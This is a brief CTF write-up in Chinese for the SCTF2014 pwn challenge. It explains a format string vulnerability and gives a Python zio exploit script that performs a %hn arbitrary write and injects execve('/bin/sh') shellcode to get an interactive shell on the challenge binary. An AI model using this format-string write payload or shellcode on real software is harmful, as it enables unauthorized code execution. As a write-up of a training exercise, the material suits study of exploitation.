一个明显的格式化字符串漏洞,格式化字符串本身是在bss段中的,但是又复制到局部数组里了,想必是出题人为了降低难度。这个也给出了libc。但是没有办法像栈溢出那样leak出got表的内容。虽然可以向任意地址写但是却不知道改写入的地址是多少。第二个问题就是参数,要想执行system就得构造/bin/sh这个参数。这个参数怎么搞?
1 #SCTF2014 pwn200
2 #exp by Ox9A82
3 from zio import *
4 import time
5 io=zio('./pwn300')
6
7 chuan1='\x20\x91\x04\x08%37248c%7$hn\n'
8 shellcode="\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f" \
9 "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0" \
10 "\x0b\xcd\x80\n"
11
12 io.read_until('choice:')
13 io.write('2\n')
14 io.read_until('message')
15 io.write(chuan1)
16 io.read_until('choice:')
17 io.write('3\n')
18
19 io.read_until('choice:')
20 io.write('2\n')
21 io.read_until('message')
22 io.write(shellcode)
23 io.read_until('choice:')
24 io.write('4\n')
25
26 io.interact()